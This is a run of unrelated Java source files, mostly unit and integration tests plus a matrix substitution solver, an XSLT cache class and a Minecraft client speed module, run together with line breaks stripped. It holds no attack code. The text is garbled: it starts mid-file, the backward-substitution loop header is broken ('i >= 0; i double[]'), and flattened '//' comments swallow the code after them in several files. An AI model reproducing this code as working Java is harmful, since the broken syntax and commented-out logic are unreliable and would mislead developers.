Compiler.VALUE_PREFIX + hexByte+ ",X"); int[] bytes = compiler.getBytes(); assertArrayEquals("Output for '" + opcode.toString() + "' was wrong.", new int[] {opcode.getByteValue(), byteValue}, bytes); }); } @Property public void testZeroPageYInstructions(@InRange(min = "0", max = "255") int byteValue){ final String hexByte = Integer.toHexString(byteValue); OpCode.streamOf(AddressingMode.ZERO_PAGE_Y).forEach((opcode)->{ Compiler compiler = new Compiler(opcode.getOpCodeName() + " " + Compiler.VALUE_PREFIX + hexByte + ",Y"); int[] bytes = compiler.getBytes(); assertArrayEquals("Output for '" + opcode.toString() + "' was wrong.", new int[] {opcode.getByteValue(), byteValue}, bytes); }); } @Property public void testAbsoluteInstructions(@InRange(min = "256", max = "65535") int wordValue){ final String hexWord = Integer.toHexString(wordValue); OpCode.streamOf(AddressingMode.ABSOLUTE).forEach((opcode)->{ Compiler compiler = new Compiler(opcode.getOpCodeName() + " " + Compiler.VALUE_PREFIX + hexWord); int[] bytes = compiler.getBytes(); assertArrayEquals("Output for '" + opcode.toString() + "' was wrong.", new int[] {opcode.getByteValue(), wordValue}, bytes); }); } @Property public void testAbsoluteXInstructions(@InRange(min = "256", max = "65535") int wordValue){ final String hexWord = Integer.toHexString(wordValue); OpCode.streamOf(AddressingMode.ABSOLUTE_X).forEach((opcode)->{ Compiler compiler = new Compiler(opcode.getOpCodeName() + " " + Compiler.VALUE_PREFIX + hexWord + ",X"); int[] bytes = compiler.getBytes(); assertArrayEquals("Output for '" + opcode.toString() + " 0x" + hexWord + "' was wrong.", new int[] {opcode.getByteValue(), wordValue}, bytes); }); } @Property public void testAbsoluteYInstructions(@InRange(min = "256", max = "65535") int wordValue){ final String hexWord = Integer.toHexString(wordValue); OpCode.streamOf(AddressingMode.ABSOLUTE_Y).forEach((opcode)->{ Compiler compiler = new Compiler(opcode.getOpCodeName() + " " + Compiler.VALUE_PREFIX + hexWord + ",Y"); int[] bytes = compiler.getBytes(); assertArrayEquals("Output for '" + opcode.toString() + " 0x" + hexWord + "' was wrong.", new int[] {opcode.getByteValue(), wordValue}, bytes); }); } @Property public void testIndirectXInstructions(@InRange(min = "0", max = "255") int byteValue){ final String hexByte = Integer.toHexString(byteValue); OpCode.streamOf(AddressingMode.INDIRECT_X).forEach((opcode)->{ Compiler compiler = new Compiler(opcode.getOpCodeName() + " (" + Compiler.VALUE_PREFIX + hexByte + ",X)"); int[] bytes = compiler.getBytes(); assertArrayEquals(new int[] {opcode.getByteValue(), byteValue}, bytes); }); } @Property public void testIndirectYInstructions(@InRange(min = "0", max = "255") int byteValue){ final String hexByte = Integer.toHexString(byteValue); OpCode.streamOf(AddressingMode.INDIRECT_Y).forEach((opcode)->{ Compiler compiler = new Compiler(opcode.getOpCodeName() + " (" + Compiler.VALUE_PREFIX + hexByte + "),Y"); int[] bytes = compiler.getBytes(); assertArrayEquals(new int[] {opcode.getByteValue(), byteValue}, bytes); }); } @Test public void firstInvalidOpcode(){ Compiler compiler = new Compiler("ROX"); try { compiler.getBytes(); fail("Exception expected, 'ROX' is an invalid OpCode"); }catch(UnknownOpCodeException e){ assertNotNull(e); } } @Test public void testInvalidValuePrefix(){ try { Compiler compiler = new Compiler("ADC @$10"); int[] bytes = compiler.getBytes(); fail("Invalid argument structure should throw an exception but was " + Arrays.toString(bytes)); }catch (UnknownOpCodeException e){ assertFalse(e.getMessage().isEmpty()); assertFalse(e.getOpCode() == null); } } }
package com.semantico.rigel; import java.util.Calendar; import org.junit.Test; import org.junit.runner.RunWith; import org.junit.runners.JUnit4; import com.google.common.collect.Range; import com.semantico.rigel.fields.types.*; import com.semantico.rigel.filters.BooleanExpression.AmbiguousExpressionException; import com.semantico.rigel.filters.Filter; import static org.junit.Assert.*; import static com.semantico.rigel.filters.Filters.*; @RunWith(JUnit4.class) public class FilterTest { private static final StringField TYPE = new StringField("type"); private static final StringField NAME = new StringField("name"); private static final IntegerField COUNT = new IntegerField("count"); private static final DateField DATE = new DateField("date"); @Test public void testIsEqualTo() { Filter filter; filter = TYPE.equalTo("hello"); assertEquals("type:hello", filter.toSolrFormat()); filter = NAME.equalTo("all the things"); assertEquals("name:all\\ the\\ things", filter.toSolrFormat()); filter = COUNT.equalTo(5); assertEquals("count:5", filter.toSolrFormat()); Calendar c = Calendar.getInstance(); c.set(2000, 0, 1, 0, 0, 0);//jan 1st 2000 00:00:00 c.set(Calendar.MILLISECOND, 0); filter = DATE.equalTo(c.getTime()); assertEquals("date:2000-01-01T00:00:00.000Z", filter.toSolrFormat()); } @Test public void testStartsWith() { Filter filter; filter = TYPE.startsWith("Hello"); assertEquals("type:Hello*", filter.toSolrFormat()); filter = TYPE.startsWith("(ThingInBrackets)"); assertEquals("type:\\(ThingInBrackets\\)*", filter.toSolrFormat()); } @Test public void testRanges() { Filter filter; filter = COUNT.greaterThan(5); assertEquals("count:{5 TO *]", filter.toSolrFormat()); filter = COUNT.atLeast(5); assertEquals("count:[5 TO *]", filter.toSolrFormat()); filter = COUNT.lessThan(3); assertEquals("count:[* TO 3}", filter.toSolrFormat()); filter = COUNT.atMost(3); assertEquals("count:[* TO 3]", filter.toSolrFormat()); filter = COUNT.isInRange(Range.closed(10, 20)); assertEquals("count:[10 TO 20]", filter.toSolrFormat()); filter = COUNT.atLeast(5).andAtMost(10); assertEquals("count:[5 TO 10]", filter.toSolrFormat()); filter = COUNT.greaterThan(16).andLessThan(21); assertEquals("count:{16 TO 21}", filter.toSolrFormat()); } @Test(expected = IllegalArgumentException.class) public void testIllegalRange() { COUNT.lessThan(3).andGreaterThan(5);//Disjoint } @Test(expected = IllegalArgumentException.class) public void testIllegalRange2() { COUNT.atLeast(100).andAtMost(99);//Disjoint } @Test(expected = IllegalArgumentException.class) public void testIllegalRange3() { COUNT.greaterThan(5).andLessThan(3);//Disjoint } @Test(expected = IllegalArgumentException.class) public void testIllegalRange4() { COUNT.atMost(99).andAtLeast(100);//Disjoint } @Test public void testAndFilter() { Filter filter; filter = group(COUNT.atLeast(10).and(TYPE.startsWith("easy"))); assertEquals("(count:[10 TO *] AND type:easy*)", filter.toSolrFormat()); filter = COUNT.equalTo(6).and(TYPE.equalTo("void").and(NAME.equalTo("shiz"))); assertEquals("count:6 AND type:void AND name:shiz", filter.toSolrFormat()); } @Test public void testOrFilter() { Filter filter; filter = group(COUNT.atLeast(10).or(TYPE.startsWith("easy"))); assertEquals("(count:[10 TO *] OR type:easy*)", filter.toSolrFormat()); filter = COUNT.equalTo(6).or(TYPE.equalTo("void").or(NAME.equalTo("shiz"))); assertEquals("count:6 OR type:void OR name:shiz", filter.toSolrFormat()); } @Test public void testRequired() { Filter filter; filter = require(COUNT.equalTo(5)); assertEquals("+count:5", filter.toSolrFormat()); filter = require(group(COUNT.equalTo(5).or(COUNT.equalTo(7)))); assertEquals("+(count:5 OR count:7)", filter.toSolrFormat()); //The following dosen't compile. Good. thats intentional //require(COUNT.greaterThan(2).and(NAME.equalTo("edd"))); } @Test public void testProhibited() { Filter filter; filter = prohibit(COUNT.equalTo(5)); assertEquals("-count:5", filter.toSolrFormat()); filter = prohibit(group(COUNT.equalTo(5).or(COUNT.equalTo(7)))); assertEquals("-(count:5 OR count:7)", filter.toSolrFormat()); //The following dosen't compile. Good. thats intentional //prohibit(COUNT.greaterThan(2).and(NAME.equalTo("edd"))); } }
package edu.msu.nscl.olog.api; import static edu.msu.nscl.olog.api.LogBuilder.log; import static edu.msu.nscl.olog.api.LogUtil.getLogSubjects; import static edu.msu.nscl.olog.api.LogUtil.toLogs; import static edu.msu.nscl.olog.api.LogbookBuilder.logbook; import static edu.msu.nscl.olog.api.TagBuilder.tag; import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertTrue; import static org.junit.Assert.fail; import java.util.ArrayList; import java.util.Collection; import java.util.HashMap; import java.util.Hashtable; import java.util.Map; import org.junit.After; import org.junit.AfterClass; import org.junit.Before; import org.junit.BeforeClass; import org.junit.Test; import edu.msu.nscl.olog.api.OlogClientImpl.OlogClientBuilder; public class ClientIT { private static OlogClient client; private static String logOwner; private static String logbookOwner; private static String tagOwner; private static String propertyOwner; private static LogbookBuilder defaultLogBook; @BeforeClass public static void setUpBeforeClass() throws Exception { client = OlogClientBuilder.serviceURL().withHTTPAuthentication(true) .create(); // these should be read from some properties files so that they can be // setup for the corresponding intergration testing enviorment. logOwner = "me"; logbookOwner = "me"; tagOwner = "me"; propertyOwner = "me"; // Add a default logbook defaultLogBook = logbook("DefaultLogBook").owner(logbookOwner); client.set(defaultLogBook); } @AfterClass public static void tearDownAfterClass() throws Exception { client.deleteLogbook(defaultLogBook.build().getName()); } @Before public void setUp() throws Exception { } @After public void tearDown() throws Exception { } /** * create(set), list and delete a logbook * */ @Test public void logbookSimpleTest() { LogbookBuilder logbook = logbook("testLogBook").owner(logbookOwner); try { // set a logbook // list all logbook client.set(logbook); assertTrue("failed to set the testLogBook", client.listLogbooks() .contains(logbook.build())); } catch (Exception e) { fail(e.getCause().toString()); } finally { // delete a logbook client.deleteLogbook(logbook.build().getName()); assertFalse("failed to clean up the testLogbook", client .listLogbooks().contains(logbook.build())); } } /** * create(set), list and delete a tag */ @Test public void tagsSimpleTest() { TagBuilder tag = tag("testTag"); try { // set a tag // list all tag client.set(tag); assertTrue("failed to set the testTag", client.listTags().contains(tag.build())); } catch (Exception e) { fail(e.getCause().toString()); } finally { // delete a tag client.deleteLogbook(tag.build().getName()); assertFalse("failed to clean the testTag", client.listTags() .contains(tag.build())); } } /** * create(set), list, delete a single log * * FIXME (shroffk) setlog should return the log id */ @Test public void logSimpleTest() { LogBuilder log = log("testLog").description("some details") .level("Info").in(defaultLogBook); Map<String, String> map = new Hashtable<String, String>(); map.put("search", "testLog"); Log result = null; try { // set a log result = client.set(log); // check if the returned id is the same Collection<Log> queryResult = client.findLogs(map); assertTrue("The returned id is not valid", queryResult.contains(result)); } catch (Exception e) { fail(e.getCause().toString()); } finally { // delete a log client.delete(log(result)); assertFalse("Failed to clean up the testLog", client.findLogs(map) .contains(result)); } } /** * create(set), list and delete a group of logs * * FIXME (shroffk) setlog should return the log id */ @Test public void logsSimpleTest() { LogBuilder log1 = log("testLog1").description("some details") .level("Info").in(defaultLogBook); LogBuilder log2 = log("testLog2").description("some details") .level("Info").in(defaultLogBook); Collection<LogBuilder> logs = new ArrayList<LogBuilder>(); logs.add(log1); logs.add(log2); Map<String, String> map = new Hashtable<String, String>(); map.put("search", "testLog*"); Collection<Log> result = null; Collection<Log> queryResult; try { // set a group of channels client.set(logs); // list all logs result = client.listLogs(); queryResult = client.findLogs(map); // check the returned logids match the number expected assertTrue("unexpected return after creation of log entries", queryResult.size() == logs.size()); // check if all the logs have been created assertTrue("Failed to set the group of logs", queryResult.containsAll(result)); } catch (Exception e) { fail(e.getCause().toString()); } finally { // delete a group of logs for (Log log : result) { client.delete(log(log)); } queryResult = client.findLogs(map); for (Log log : result) { assertFalse("Failed to clean up the group of test logs", queryResult.contains(log)); } } } /** * Test set on a logbook, the logbook should be added to only those logs * specified and removed from all others */ @Test public void logbookSetTest() { } @Test public void listLogsTest() { try { Collection<Log> result = client.listLogs(); } catch (Exception e) { fail("failed to list logs"); } } // @XmlRootElement // public static class XmlProperty{ // public String name; // public Map<String,List<String>> map; // public void testparsin() throws JAXBException{ // MultivaluedMap<String, String> map = new MultivaluedMapImpl(); // map.add("ticket", "1234"); // XmlProperty prop = new XmlProperty(); // prop.name = "trac"; // prop.map = map; // JAXBContext context = JAXBContext.newInstance(XmlProperty.class); // Marshaller m = context.createMarshaller(); // m.setProperty(Marshaller.JAXB_FORMATTED_OUTPUT, Boolean.TRUE); // m.marshal(prop, System.out); // MultivaluedMap<String, String> map2 = new MultivaluedMapImpl(); // map2.add("type", "coupler"); // map2.add("fieldname", "coupler1"); // XmlProperty prop2 = new XmlProperty(); // prop2.name = "component"; // prop2.map = map2; // JAXBContext context2 = JAXBContext.newInstance(XmlProperty.class); // Marshaller m2 = context.createMarshaller(); // m2.setProperty(Marshaller.JAXB_FORMATTED_OUTPUT, Boolean.TRUE); // m2.marshal(prop2, System.out); }
package jacobi.core.solver; import jacobi.api.Matrix; import jacobi.core.util.Throw; import java.util.stream.IntStream; /** * Implementation of Backward and Forward Substitution. * * For practical and performance reasons, this class would check if the input * matrix is truly upper or lower triangular. It is up to the caller to ensure * the data integrity of the input. * * @author Y.K. Chan */ public class Substitution { /** * Constructor. * @param mode Forward/Backward substitution * @param tri Lower/Upper triangular matrix */ public Substitution(Mode mode, Matrix tri) { Throw.when() .isNull(() -> mode, () -> "No substitution mode.") .isNull(() -> tri, () -> "No triangular matrix.") .isTrue( () -> tri.getColCount() > tri.getRowCount(), () -> "Triangular matrix is under-determined."); this.tri = tri; this.mode = mode; } /** * Compute substitution. This method is perturbative, i.e. it transforms * the input into the output. * @param rhs Right-hand side of the equation * @return Object rhs after substitution */ public Matrix compute(Matrix rhs) { Throw.when() .isNull(() -> rhs, () -> "No known values for substitution") .isTrue( () -> rhs.getRowCount() != this.tri.getRowCount(), () -> "Dimension match. Expects " + this.tri.getRowCount() + ", got " + rhs.getRowCount() + " known values." ); return this.mode == Mode.BACKWARD ? this.backward(rhs) : this.forward(rhs); } /** * Forward substitution. This method is perturbative, i.e. it transforms * the input into the output. * @param rhs Right-hand side of the equation * @return Object rhs after substitution */ protected Matrix forward(Matrix rhs) { for(int i = 0; i < rhs.getRowCount(); i++){ double[] sol = this.normalize(rhs, i); this.substitute(rhs, sol, i, i + 1, rhs.getRowCount()); rhs.setRow(i, sol); } return rhs; } /** * Backward substitution. This method is perturbative, i.e. it transforms * the input into the output. * @param rhs Right-hand side of the equation * @return Object rhs after substitution */ protected Matrix backward(Matrix rhs) { for(int i = rhs.getColCount() - 1; i >= 0; i double[] sol = this.normalize(rhs, i); this.substitute(rhs, sol, i, 0, i); rhs.setRow(i, sol); } return rhs; } /** * Substitute into a range of rows after a row solution found. * @param rhs Right-hand side matrix * @param subs Row solution found * @param subIndex Row solution index * @param begin Begin of row to be substituted * @param end End of row to be substituted */ protected void substitute(Matrix rhs, double[] subs, int subIndex, int begin, int end) { if( (end - begin) * (subs.length - subIndex) < DEFAULT_THRESHOLD ){ this.serial(rhs, subs, subIndex, begin, end); }else{ this.stream(rhs, subs, subIndex, begin, end); } } /** * Substitute into a range of rows after a row solution found in serial. * @param rhs Right-hand side matrix * @param subs Row solution found * @param subIndex Row solution index * @param begin Begin of row to be substituted * @param end End of row to be substituted */ protected void serial(Matrix rhs, double[] subs, int subIndex, int begin, int end) { for(int i = begin; i < end; i++){ double[] row = rhs.getRow(i); double elem = this.tri.get(i, subIndex); this.substitute(row, elem, subs); rhs.setRow(i, row); } } /** * Substitute into a range of rows after a row solution found, by stream. * @param rhs Right-hand side matrix * @param subs Row solution found * @param subIndex Row solution index * @param begin Begin of row to be substituted * @param end End of row to be substituted */ protected void stream(Matrix rhs, double[] subs, int subIndex, int begin, int end) { IntStream.range(begin, end).parallel().forEach((i) -> { double[] row = rhs.getRow(i); double elem = this.tri.get(i, subIndex); this.substitute(row, elem, subs); rhs.setRow(i, row); }); } /** * Substitute into a row after row solution found. * @param target Row to be eliminated of row solution found * @param coeff Element on the triangular matrix that is the coefficient * of the row solution found. * @param subs Row solution found */ protected void substitute(double[] target, double coeff, double[] subs) { for(int i = 0; i < target.length; i++){ target[i] -= coeff * subs[i]; } } /** * Obtain a row solution by dividing by a diagonal element. * @param rhs Right-hand side matrix * @param rowIndex Row index of diagonal element, and row solution to be obtained. * @return Row solution * @throws UnsupportedOperationException * when the diagonal element is too close to zero */ protected double[] normalize(Matrix rhs, int rowIndex) { double denom = this.tri.get(rowIndex, rowIndex); if(Math.abs(denom) < EPSILON){ throw new UnsupportedOperationException("Matrix is not full rank."); } double[] row = rhs.getRow(rowIndex); for(int i = 0; i < rhs.getColCount(); i++){ row[i] /= denom; } return row; } private Matrix tri; private Mode mode; private static final double EPSILON = 1e-10; private static final int DEFAULT_THRESHOLD = 8 * 1024; public enum Mode { FORWARD, BACKWARD } }
package me.zero.example.mod.mods; import me.zero.client.api.event.EventHandler; import me.zero.client.api.event.Listener; import me.zero.client.api.event.defaults.MoveEvent; import me.zero.client.api.module.Mod; import me.zero.client.api.module.Module; import me.zero.client.api.util.interfaces.annotation.Label; import me.zero.client.api.value.annotation.NumberValue; import me.zero.example.mod.category.IMovement; import org.lwjgl.input.Keyboard; @Mod(name = "Speed", description = "A basic speed module", bind = Keyboard.KEY_Z) public class Speed extends Module implements IMovement { @Label(name = "Speed", id = "speed", description = "The multiplier for your speed") @NumberValue(min = 1, max = 10) private double speed = 3; @EventHandler private Listener<MoveEvent> moveListener = new Listener<>(event -> { event.x(event.getX() * speed).z(event.getZ() * speed); }); }
package org.DitaSemia.Base; import java.io.File; import java.net.MalformedURLException; import java.net.URL; import java.sql.Timestamp; import java.util.HashMap; import javax.xml.transform.Source; import javax.xml.transform.TransformerException; import javax.xml.transform.URIResolver; import net.sf.saxon.Configuration; import net.sf.saxon.s9api.Processor; import net.sf.saxon.s9api.SaxonApiException; import net.sf.saxon.s9api.XsltCompiler; import net.sf.saxon.s9api.XsltExecutable; import net.sf.saxon.trans.XPathException; import javax.xml.transform.sax.SAXSource; import org.apache.log4j.Logger; import org.xml.sax.InputSource; /** * The XslTransformerCache class caches every constructed transformer so they can be reused. * XslTransformerCache is a Singleton class. * * If no XsltTransformer exists for the specified xsl Source, a new XsltTransformer is constructed. * * Every XsltTransformer is connected to the timestamp of the xsl Source. * */ public class XslTransformerCache { private static final Logger logger = Logger.getLogger(XslTransformerCache.class.getName()); protected final Configuration configuration; protected HashMap<URL, ExecutableWithTimestamp> executableMap = new HashMap<>(); public XslTransformerCache(Configuration configuration) { this.configuration = configuration; } /** * @return the private XslTransformerCache Instance */ /*public static XslTransformerCache getInstance() { return xslTransformerCache; }*/ /** * Retrieves an Instance of XsltExecutable for the specified URL and URIResolver. * * If there is an existing XsltExecutable for this URL and the timestamp of the xsl source matches the timestamp connected to the XsltExecutable, * this XsltExecutable is returned. * If the URL is invalid, a XPathException is thrown ("Script File could not be found"). * If the Script is invalid, a XPathException is thrown ("XSLT compilation error"). * * @param url URL of the XSL script * @param uriResolver URIResolver of the Node * @return an existing XsltExecutable if present; a new XsltExecutable, if there is none or if the timestamp is different. * @throws XPathException If the Script File could not be found or if the compilation led to an error. */ public XsltExecutable getExecutable(URL url, URIResolver uriResolver) throws XPathException { final String decodedUrl = FileUtil.decodeUrl(url); Timestamp scriptTimestamp = new Timestamp(0); if (!decodedUrl.startsWith("jar:")) { try { final URL urlDecoded = new URL(decodedUrl); final File script = new File(urlDecoded.getFile()); if (!script.exists()) { throw new XPathException("Script file could not be found. (URL: '" + urlDecoded + "')"); } scriptTimestamp = new Timestamp(script.lastModified()); //logger.info("timestamp: " + scriptTimestamp + " (" + decodedUrl + ")"); } catch (MalformedURLException e) { throw new XPathException("Script file could not be found. (URL: '" + decodedUrl + "')"); } } XsltExecutable xsltExecutable = null; if (executableMap.containsKey(url) && executableMap.get(url).getTimestamp().equals(scriptTimestamp)) { xsltExecutable = executableMap.get(url).getXsltExecutable(); } else { Source xslSource = null; if (uriResolver != null) { try { xslSource = uriResolver.resolve(url.toExternalForm(), ""); } catch (TransformerException e) { logger.error(e.getMessage()); } } if (xslSource == null) { xslSource = new SAXSource(new InputSource(url.toExternalForm())); } try { final Processor processor = new Processor(configuration); final XsltCompiler compiler = processor.newXsltCompiler(); xsltExecutable = compiler.compile(xslSource); //logger.info("compiled Executable: " + decodedUrl); executableMap.put(url, new ExecutableWithTimestamp(xsltExecutable, scriptTimestamp)); } catch (SaxonApiException e) { throw new XPathException("XSLT compilation error. (URL: '" + url + "'): " + e.getMessage()); } } //logger.info("getExecutable: " + xsltExecutable + ", url: " + url); return xsltExecutable; } /** * Returns an existing XsltExecutable for the specified URL. * Does not create a new one if there is no existing XsltExecutable. * * @param url URL of the XSLT script * @return the XsltExecutable for this URL or null if there is none. */ public XsltExecutable getCachedExecutable(URL url) { final ExecutableWithTimestamp exWithTime = executableMap.get(url); if (exWithTime != null) { // logger.info("getCachedExecutable: " + exWithTime.getXsltExecutable() + ", url: " + url); return exWithTime.getXsltExecutable(); } else { // logger.info("getCachedExecutable: " + null + ", url: " + url); return null; } } /** * Uses {@link XslTransformerCache#getTransformer(URL, URIResolver)} with the specified URL using the URIResolver from the configuration. * @see XslTransformerCache#getTransformer(URL, URIResolver) * * @param url URL of the XSL script * @return XsltTransformer * @throws XPathException If the Script File could not be found or if the compilation led to an error. */ public XsltExecutable getExecutable(URL url) throws XPathException { return getExecutable(url, configuration.getURIResolver()); } /** * Removes the XsltTransformer with the specified URL as key from the Cache. * * @param url URL of the XSL script */ public void removeFromCache(URL url) { executableMap.remove(url); } private static class ExecutableWithTimestamp { @SuppressWarnings("unused") private static final Logger logger = Logger.getLogger(ExecutableWithTimestamp.class.getName()); private XsltExecutable xsltExecutable; private Timestamp timestamp; private ExecutableWithTimestamp(XsltExecutable xsltExecutable, Timestamp timestamp) { this.xsltExecutable = xsltExecutable; this.timestamp = timestamp; } private XsltExecutable getXsltExecutable() { return xsltExecutable; } private Timestamp getTimestamp() { return timestamp; } } public Configuration getConfiguration() { return configuration; } public void clear() { executableMap.clear(); } }
package org.animotron.operator; import static org.animotron.Expression._; import static org.animotron.Expression.text; import org.animotron.ATest; import org.animotron.Expression; import org.animotron.operator.query.GET; import org.animotron.operator.relation.HAVE; import org.junit.Test; /** * @author <a href="mailto:shabanovd@gmail.com">Dmitriy Shabanov</a> * */ public class GetTest extends ATest { // @Test // public void getFromPFlow_an_with_param() throws Exception { // System.out.println("Test empty 'get' ..."); // Expression A = new Expression( // _(THE._, "A", _(HAVE._, "B", _(GET._, "C"))) // Expression D = new Expression( // _(THE._, "D", _(AN._, "A", _(HAVE._, "C", text(".")))) // assertAnimo(D, "<the:D><the:A><have:B><have:C>.</have:C></have:B></the:A></the:D>"); // //System.out.println("done."); @Test public void getFromPFlow_cross_an_with_param() throws Exception { System.out.println("Test cross 'get' ..."); new Expression( _(THE._, "A", _(HAVE._, "B", _(GET._, "C"))) ); new Expression( _(THE._, "D", _(HAVE._, "E", _(GET._, "B"))) ); Expression X = new Expression( _(THE._, "X", _(AN._, "D", _(AN._, "A", _(HAVE._, "C", text(":"))))) ); assertAnimo(X, "<the:X><the:D><have:E><have:B><have:C>:</have:C></have:B></have:E></the:D></the:X>"); //System.out.println("done."); } // @Test // public void getFromPFlow_an_with_an() throws Exception { // System.out.println("Test empty 'get' on AN with AN..."); // Expression A = new Expression( // _(THE._, "A", _(HAVE._, "B", _(GET._, "C"))) // Expression D = new Expression( // _(THE._, "D", _(HAVE._, "C", text("."))) // Expression E = new Expression( // _(THE._, "E", _(AN._, "A", _(AN._, "D"))) // assertAnimo(E, "<the:E><the:A><have:B><have:C>.</have:C></have:B></the:A></the:E>"); // //System.out.println("done."); // @Test // public void getFromPFlow_an_with_more_an() throws Exception { // System.out.println("Test empty 'get' on AN with AN..."); // Expression A = new Expression( // _(THE._, "A", _(HAVE._, "B", _(GET._, "C"))) // Expression D = new Expression( // _(THE._, "D", _(HAVE._, "C", text("."))) // Expression E = new Expression( // _(THE._, "E", _(HAVE._, "C", text(":"))) // Expression F = new Expression( // _(THE._, "F", _(AN._, "A", _(AN._, "D"), _(AN._, "E", _(HAVE._, "C", text("_"))))) // Expression X = new Expression( // _(THE._, "X", _(AN._, "A", _(HAVE._, "C", text("X")))) // assertAnimo(F, "<the:F><the:A><have:B><have:C>.</have:C></have:B></the:A></the:F>"); // //System.out.println("done."); // @Test // public void anyWithUse() throws Exception { // System.out.println("Test 'get' ..."); // new Expression( // _(THE._, "A") // new Expression( // _(THE._, "B", _(IS._, "A")) // new Expression( // _(THE._, "C", _(IS._, "B")) // new Expression( // _(THE._, "D", _(ANY._, "A")) // new Expression( // _(THE._, "E", _(AN._, "D", _(USE._, "B"))) // new Expression( // _(THE._, "F", _(AN._, "D", _(USE._, "C"))) // new Expression( // _(THE._, "G", _(AN._, "E", _(USE._, "A"))) // //System.out.println("any:A"); // //assertEquals("D", "<the:D><the:A></the:A><the:B></the:B><the:C></the:C></the:D>"); // //System.out.println("an:D use:B"); //// assertAnimo(E, "<the:E><the:D><the:B></the:B><the:C></the:C></the:D></the:E>"); // //System.out.println("done."); }
package org.clafer.ir; import org.clafer.choco.constraint.Constraints; import org.clafer.ir.IrQuickTest.Solution; import static org.clafer.ir.Irs.*; import org.clafer.test.NonEmpty; import org.junit.Test; import org.junit.runner.RunWith; import solver.constraints.Constraint; import solver.variables.CSetVar; import solver.variables.IntVar; /** * * @author jimmy */ @RunWith(IrQuickTest.class) public class IrArrayToSetTest { @Test(timeout = 60000) public IrBoolExpr setup(@NonEmpty IrIntVar[] array, int globalCardinality, IrSetVar set) { return equal(arrayToSet(array, null), set); } @Solution public Constraint setup(IntVar[] array, int globalCardinality, CSetVar set) { return Constraints.arrayToSet(array, set.getSet(), set.getCard(), null); } }
package ru.lanwen.diff.uri; import org.junit.Test; import ru.lanwen.diff.uri.core.UriDiff; import java.net.URI; import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.Matchers.*; import static ru.lanwen.diff.uri.core.UriPart.*; import static ru.lanwen.diff.uri.matchers.UriDiffMatchers.changeType; import static ru.lanwen.diff.uri.matchers.UriDiffMatchers.changes; /** * User: lanwen */ public class UriDiffTest { public static final String URL_ACT = "http://disk.yandex.com.tr/?auth=1?retpath=http%3A%2F%2Fmail.yandex.com.tr%2Fneo2%2F%23disk&auth=2"; public static final String URL_EXP = "http://disk.yandex.com.tr/?auth=1&retpath=http%3A%2F%2Fmail.yandex.com.tr%2Fneo2%2F%23disk&auth=2"; @Test public void construction() throws Exception { String uri = "http://ya.ru"; UriDiffer differ = UriDiffer.diff().actual(uri).expected(uri); UriDiff diff = differ.changes(); assertThat(diff.getChanges(), empty()); assertThat(diff.getOriginal(), equalTo(URI.create(uri))); assertThat(diff.getRevised(), equalTo(URI.create(uri))); assertThat(diff.toString(), not(isEmptyOrNullString())); assertThat(diff.report(), not(isEmptyOrNullString())); } @Test public void schemeChange() throws Exception { String expected = "httpf://ya.ru"; String actual = "hotps://ya.ru"; UriDiffer differ = UriDiffer.diff().actual(actual).expected(expected); UriDiff diff = differ.changes(); assertThat(differ.schemeDeltas(), hasSize(3)); assertThat(diff.hasChanges(), equalTo(Boolean.TRUE)); assertThat(diff, changes(hasSize(1))); assertThat(diff, changes(hasItem(changeType(equalTo(SCHEME))))); } @Test public void hostChange() throws Exception { String expected = "https://yandex.ru"; String actual = "https://ya.ru"; UriDiffer differ = UriDiffer.diff().actual(actual).expected(expected); UriDiff diff = differ.changes(); assertThat(differ.hostDeltas().size(), equalTo(1)); assertThat(diff.hasChanges(), equalTo(Boolean.TRUE)); assertThat(diff, changes(hasSize(1))); assertThat(diff, changes(hasItem(changeType(equalTo(HOST))))); } @Test public void pathChange() throws Exception { String expected = "https://yandex.ru/ff/"; String actual = "https://yandex.ru/ff"; UriDiffer differ = UriDiffer.diff().actual(actual).expected(expected); UriDiff diff = differ.changes(); assertThat(differ.pathDeltas().size(), equalTo(1)); assertThat(diff.hasChanges(), equalTo(Boolean.TRUE)); assertThat(diff, changes(hasSize(1))); assertThat(diff, changes(hasItem(changeType(equalTo(PATH))))); } @Test public void portChange() throws Exception { String expected = "https://yandex.ru:8080/ff/"; String actual = "https://yandex.ru/ff/"; UriDiffer differ = UriDiffer.diff().actual(actual).expected(expected); UriDiff diff = differ.changes(); assertThat(differ.portDeltas().size(), equalTo(1)); assertThat(diff.hasChanges(), equalTo(Boolean.TRUE)); assertThat(diff, changes(hasSize(1))); assertThat(diff, changes(hasItem(changeType(equalTo(PORT))))); } @Test public void queryChange() throws Exception { String expected = "https://yandex.ru/ff/?q=e&q2&q=4"; String actual = "https://yandex.ru/ff/?q=1&q2&q=5"; UriDiffer differ = UriDiffer.diff().actual(actual).expected(expected); UriDiff diff = differ.changes(); assertThat(differ.queryDeltas().size(), equalTo(1)); assertThat(diff.hasChanges(), equalTo(Boolean.TRUE)); assertThat(diff, changes(hasSize(1))); assertThat(diff, changes(hasItem(changeType(equalTo(QUERY))))); } @Test public void queryChangeEncoded() throws Exception { UriDiffer differ = UriDiffer.diff().actual(URL_ACT).expected(URL_EXP); UriDiff diff = differ.changes(); assertThat(differ.queryDeltas().size(), equalTo(2)); assertThat(diff.hasChanges(), equalTo(Boolean.TRUE)); assertThat(diff, changes(hasSize(1))); assertThat(diff, changes(hasItem(changeType(equalTo(QUERY))))); } @Test public void fragmentChange() throws Exception { String expected = "https://yandex.ru/ff/?q=1&q2&q=5#index"; String actual = "https://yandex.ru/ff/?q=1&q2&q=5"; UriDiffer differ = UriDiffer.diff().actual(actual).expected(expected); UriDiff diff = differ.changes(); assertThat(differ.fragmentDeltas().size(), equalTo(1)); assertThat(diff.hasChanges(), equalTo(Boolean.TRUE)); assertThat(diff, changes(hasSize(1))); assertThat(diff, changes(hasItem(changeType(equalTo(FRAGMENT))))); } }
